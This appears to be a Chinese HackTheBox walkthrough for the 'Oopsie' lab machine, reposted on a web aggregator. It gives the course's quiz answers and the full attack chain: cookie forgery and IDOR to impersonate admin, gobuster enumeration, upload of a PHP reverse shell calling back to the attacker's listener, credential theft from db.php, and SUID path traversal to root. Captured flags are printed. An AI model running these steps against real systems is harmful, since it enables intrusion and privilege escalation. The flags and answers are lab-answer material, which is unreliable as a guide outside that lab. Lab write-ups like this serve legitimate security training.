Hackthebox 靶机Oopsie攻略 您所在的位置:网站首页 oopsie doopsie什么意思 Hackthebox 靶机Oopsie攻略

Hackthebox 靶机Oopsie攻略

2024-07-11 07:17| 来源: 网络整理| 查看: 265

目标:Oopsie

解题关键:抓住Oopsie的Web应用对Cookie的处理不够安全的漏洞,伪造admin的Cookie来上传反向PHP shell。

解题过程:

作者使用Kali Linux作为渗透测试平台,在Kali Linux上首先通过openvpn建立与Hackthebox网站的VPN连接,得到目标Oopsie实例的IP地址:

# openvpn starting_point_jasonhuawen.ovpn

 

 

第3题:With what kind of tool can intercept web traffic?

答案:Proxy(简单!!!)

第4题:What is the path to the directory on the webserver that returns a login page?

思路:由于NMAP扫描结果可以知道,目标运行两种服务:HTTP以及SSH, 这个题目的提示是需要用到爬虫工具,虽然可以用dirb等工具,我尝试用dirb去爬,感觉耗费时间很长,结果发现但最有效的还是Burpsuite,在访问网站的过程中了,抓到了一个URL,看起来很可疑:/cdn-cgi/login/script.js (需要留意每个Spider下来的URL)

因此尝试登陆http:// 10.129.33.182/cdn-cgi/login/, 结果发现确实是个登陆页面。这样第4题的答案也就出来了!!!

 

 

答案:/cdn-cgi/login

第5题:What can be modified in Firefox to get access to the upload page?

答案:cookie

第6题:What is the access ID of the admin user?

思路:从登陆页面本身就很明显可以看到可以以guest身份登陆,而且发现无需密码即可登陆

 

 

进入account, 发现guest的Access ID是2233,所以估计admin的URL中的参数ID应该会低(guest的URL参数中ID为2),所以就用ID=1尝试:

 

 

http://10.129.33.182/cdn-cgi/login/admin.php?content=accounts&id=2,改变这个id。发现将id改成1,直接就是admin了,access ID也就出来了

 

 

答案:34322

第7题:On uploading a file, what directory does that file appear in on the server?

思路:根据题目本身的提示(hint):Use a tool like gobuster to brute force directories on the webserver. 那就别废话了,所以就用gobuster工具进行暴力枚举了,找出文件上传目录,先用个小的字典试试:

# gobuster dir --url http://10.129.33.182  -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt

发现没扫一会儿就发现了跟上传相关的目录了:http://10.129.33.182/uploads/

答案:uploads

 

 

 

思路:后面的题更加有难度,需要拿到更多的权限。在登录http://10.129.33.182/uploads/时,用burp修改cookie中的userid(34322) 以及角色(admin),假冒admin用户的cookie,发现成功进入uploads页面。因为用guest用户身份是无法访问uploads页面的,所以需要想办法伪装成admin管理员。

 

此时需要生成web shell,并通过这个目录页面上传到目标(注意在上传过程中需要供burp修改截获到的每次request请求,将cookie中id改为34322以及role改为admin,否则会失败):

#weevely generate jason jason.php

不过不知道怎么回事这个shell似乎不行,感觉会被移动到其他目录,只短暂用weevely访问了一下shell。

因此考虑用反向revershell

从网上下载了一个php 反向代理shell,

#git clone https://github.com/pentestmonkey/php-reverse-shell.git

用同样的方法,将这个shell,这里的shell需要修改回连的IP地址以及端口,也就是Kali Linux,修改后用同样的办法的上传到网站(也就是用burpsuite拦截请求,将user id 改成34322以及role改成admin),此时在kali Linux上运行nc -lnvp 12345启动监听。

访问目标网站的shell页面,即可成功回连到Kali Linux,

成果拿到user.txt 其中有flag

f2c74ee8db7983851ab2a96a44eb7981

 

接下来设法获得robert用户密码,这个用户名密码可能会在连接数据库的php文件中,用locate定位一下

#locate www

/var/www/html

/var/www/html/cdn-cgi

/var/www/html/css

/var/www/html/fonts

/var/www/html/images

/var/www/html/index.php

/var/www/html/js

/var/www/html/themes

/var/www/html/uploads

/var/www/html/cdn-cgi/login

/var/www/html/cdn-cgi/login/admin.php

/var/www/html/cdn-cgi/login/db.php

/var/www/html/cdn-cgi/login/index.php

/var/www/html/cdn-cgi/login/script.js

/var/www/html/css/1.css

/var/www/html/css/bootstrap.min.css

/var/www/html/css/font-awesome.min.css

/var/www/html/css/ionicons.min.css

/var/www/html/css/new.css

/var/www/html/css/normalize.min.css

/var/www/html/css/reset.min.css

/var/www/html/fonts/fontawesome-webfont.ttf

/var/www/html/images/1.jpg

/var/www/html/images/2.jpg

/var/www/html/images/3.jpg

/var/www/html/js/bootstrap.min.js

/var/www/html/js/index.js

/var/www/html/js/jquery.min.js

/var/www/html/js/min.js

/var/www/html/js/prefixfree.min.js

/var/www/html/themes/theme.css

查找到的文件中这个文件需要引起注意,/var/www/html/cdn-cgi/login/db.php

查看这个文件的内容

www-data@oopsie:/home/robert$ cat /var/www/html/cdn-cgi/login/db.php

cat /var/www/html/cdn-cgi/login/db.php

里面可以看到用户名robert以及密码。

而从前面nmap扫描可以知道ssh服务是开放的,因此尝试连接ssh

#ssh [email protected]

 

登录后

#id

#uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)

发现robert是bugtracker组成员,查找一下与bugtracker有关的文件:

#locate bugtracker

发现了: /usr/bin/bugtracker,而且是可执行文件

#cd /usr/bin/

#./bugtracker

 

 

第8题:What is the file that contains the password that is shared with the robert user?

答案:db.php

第9题:What executible is run with the option "-group bugtracker" to identify all files owned by the bugtracker group?

答案:find

第10题:Regardless of which user starts running the bugtracker executable, what's user privileges will use to run?

答案:root

第11题:What SUID stands for?

答案:Set owner User ID(搜谷歌即可得到答案)

 

通过bugtracker执行程序,并提交../root.txt参数,成功提取root flag

af13b0bee69f8a877c3faf667f7beacf

 

 



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有